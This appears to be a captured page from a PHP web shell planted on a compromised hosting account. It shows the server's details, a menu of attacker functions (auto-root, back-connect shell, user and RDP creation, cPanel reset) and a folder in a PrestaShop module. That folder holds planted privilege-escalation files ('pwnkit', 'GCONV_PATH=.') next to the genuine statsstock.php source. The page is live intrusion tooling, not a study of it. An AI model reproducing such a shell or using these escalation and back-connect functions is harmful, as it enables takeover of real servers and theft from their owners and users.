Linux webm004.cluster106.gra.hosting.ovh.net 5.15.167-ovh-vps-grsec-zfs-classid #1 SMP Tue Sep 17 08:14:20 UTC 2024 x86_64
Apache
: 10.106.20.4 | : 216.73.216.61
Cant Read [ /etc/named.conf ]
7.4.33
alinaousgg
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
home /
alinaousgg /
garmin /
modules /
statsstock /
[ HOME SHELL ]
Name
Size
Permission
Action
.pkexec
[ DIR ]
drwxr-xr-x
GCONV_PATH=.
[ DIR ]
drwxr-xr-x
translations
[ DIR ]
drwx---r-x
.mad-root
0
B
-rw-r--r--
adminer.php
465.43
KB
-rw-r--r--
config.xml
503
B
-rw----r--
config_fr.xml
572
B
-rw-rw-r--
index.php
1.24
KB
-rw----r--
logo.gif
1.01
KB
-rw----r--
logo.png
1.24
KB
-rw----r--
pwnkit
10.99
KB
-rwxr-xr-x
statsstock.php
7.14
KB
-rw----r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : statsstock.php
<?php /* * 2007-2015 PrestaShop * * NOTICE OF LICENSE * * This source file is subject to the Academic Free License (AFL 3.0) * that is bundled with this package in the file LICENSE.txt. * It is also available through the world-wide-web at this URL: * http://opensource.org/licenses/afl-3.0.php * If you did not receive a copy of the license and are unable to * obtain it through the world-wide-web, please send an email * to license@prestashop.com so we can send you a copy immediately. * * DISCLAIMER * * Do not edit or add to this file if you wish to upgrade PrestaShop to newer * versions in the future. If you wish to customize PrestaShop for your * needs please refer to http://www.prestashop.com for more information. * * @author PrestaShop SA <contact@prestashop.com> * @copyright 2007-2015 PrestaShop SA * @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) * International Registered Trademark & Property of PrestaShop SA */ if (!defined('_PS_VERSION_')) { exit; } class statsstock extends Module { private $html = ''; public function __construct() { $this->name = 'statsstock'; $this->tab = 'analytics_stats'; $this->version = '2.0.0'; $this->author = 'PrestaShop'; $this->need_instance = 0; parent::__construct(); $this->displayName = $this->trans('Available quantities', array(), 'Modules.Statsstock.Admin'); $this->description = $this->trans('Adds a tab showing the quantity of available products for sale to the Stats dashboard.', array(), 'Modules.Statsstock.Admin'); $this->ps_versions_compliancy = array('min' => '1.7.1.0', 'max' => _PS_VERSION_); } public function install() { return parent::install() && $this->registerHook('AdminStatsModules'); } public function hookAdminStatsModules() { if (Tools::isSubmit('submitCategory')) { $this->context->cookie->statsstock_id_category = Tools::getValue('statsstock_id_category'); } $ru = AdminController::$currentIndex.'&module='.$this->name.'&token='.Tools::getValue('token'); $currency = new Currency(Configuration::get('PS_CURRENCY_DEFAULT')); $filter = ((int)$this->context->cookie->statsstock_id_category ? ' AND p.id_product IN (SELECT cp.id_product FROM '._DB_PREFIX_.'category_product cp WHERE cp.id_category = '.(int)$this->context->cookie->statsstock_id_category.')' : ''); $sql = 'SELECT p.id_product, p.reference, pl.name, IFNULL(( SELECT AVG(product_attribute_shop.wholesale_price) FROM '._DB_PREFIX_.'product_attribute pa '.Shop::addSqlAssociation('product_attribute', 'pa').' WHERE p.id_product = pa.id_product AND product_attribute_shop.wholesale_price != 0 ), product_shop.wholesale_price) as wholesale_price, IFNULL(stock.quantity, 0) as quantity FROM '._DB_PREFIX_.'product p '.Shop::addSqlAssociation('product', 'p').' INNER JOIN '._DB_PREFIX_.'product_lang pl ON (p.id_product = pl.id_product AND pl.id_lang = '.(int)$this->context->language->id.Shop::addSqlRestrictionOnLang('pl').') '.Product::sqlStock('p', 0).' WHERE 1 = 1 '.$filter; $products = Db::getInstance()->executeS($sql); foreach ($products as $key => $p) { $products[$key]['stockvalue'] = $p['wholesale_price'] * $p['quantity']; } $this->html .= ' <script type="text/javascript">$(\'#calendar\').slideToggle();</script> <div class="panel-heading">' .$this->trans('Evaluation of available quantities for sale', array(), 'Modules.Statsstock.Admin'). '</div> <form action="'.Tools::safeOutput($ru).'" method="post" class="form-horizontal"> <div class="row row-margin-bottom"> <label class="control-label col-lg-3">'.$this->trans('Category', array(), 'Admin.Global').'</label> <div class="col-lg-6"> <select name="statsstock_id_category" onchange="this.form.submit();"> <option value="0">- '.$this->trans('All', array(), 'Admin.Global').' -</option>'; foreach (Category::getSimpleCategories($this->context->language->id) as $category) { $this->html .= '<option value="'.(int)$category['id_category'].'" '. ($this->context->cookie->statsstock_id_category == $category['id_category'] ? 'selected="selected"' : '').'>'. $category['name'].' </option>'; } $this->html .= ' </select> <input type="hidden" name="submitCategory" value="1" /> </div> </div> </form>'; if (!count($products)) { $this->html .= '<p>'.$this->trans('Your catalog is empty.', array(), 'Modules.Statsstock.Admin').'</p>'; } else { $rollup = array('quantity' => 0, 'wholesale_price' => 0, 'stockvalue' => 0); $this->html .= ' <table class="table"> <thead> <tr> <th><span class="title_box active">'.$this->trans('ID', array(), 'Admin.Global').'</span></th> <th><span class="title_box active">'.$this->trans('Ref.', array(), 'Modules.Statsstock.Admin').'</span></th> <th><span class="title_box active">'.$this->trans('Item', array(), 'Admin.Global').'</span></th> <th><span class="title_box active">'.$this->trans('Available quantity for sale', array(), 'Admin.Global').'</span></th> <th><span class="title_box active">'.$this->trans('Price*', array(), 'Modules.Statsstock.Admin').'</span></th> <th><span class="title_box active">'.$this->trans('Value', array(), 'Admin.Global').'</span></th> </tr> </thead> <tbody>'; foreach ($products as $product) { $rollup['quantity'] += $product['quantity']; $rollup['wholesale_price'] += $product['wholesale_price']; $rollup['stockvalue'] += $product['stockvalue']; $this->html .= '<tr> <td>'.$product['id_product'].'</td> <td>'.$product['reference'].'</td> <td>'.$product['name'].'</td> <td>'.$product['quantity'].'</td> <td>'.Tools::displayPrice($product['wholesale_price'], $currency).'</td> <td>'.Tools::displayPrice($product['stockvalue'], $currency).'</td> </tr>'; } $this->html .= ' </tbody> <tfoot> <tr> <th colspan="3"></th> <th><span class="title_box active">'.$this->trans('Total quantities', array(), 'Modules.Statsstock.Admin').'</span></th> <th><span class="title_box active">'.$this->trans('Average price', array(), 'Admin.Global').'</span></th> <th><span class="title_box active">'.$this->trans('Total value', array(), 'Modules.Statsstock.Admin').'</span></th> </tr> <tr> <td colspan="3"></td> <td>'.$rollup['quantity'].'</td> <td>'.Tools::displayPrice($rollup['wholesale_price'] / count($products), $currency).'</td> <td>'.Tools::displayPrice($rollup['stockvalue'], $currency).'</td> </tr> </tfoot> </table> <i class="icon-asterisk"></i> '.$this->trans('This section corresponds to the default wholesale price according to the default supplier for the product. An average price is used when the product has attributes.', array(), 'Modules.Statsstock.Admin'); return $this->html; } } }
Close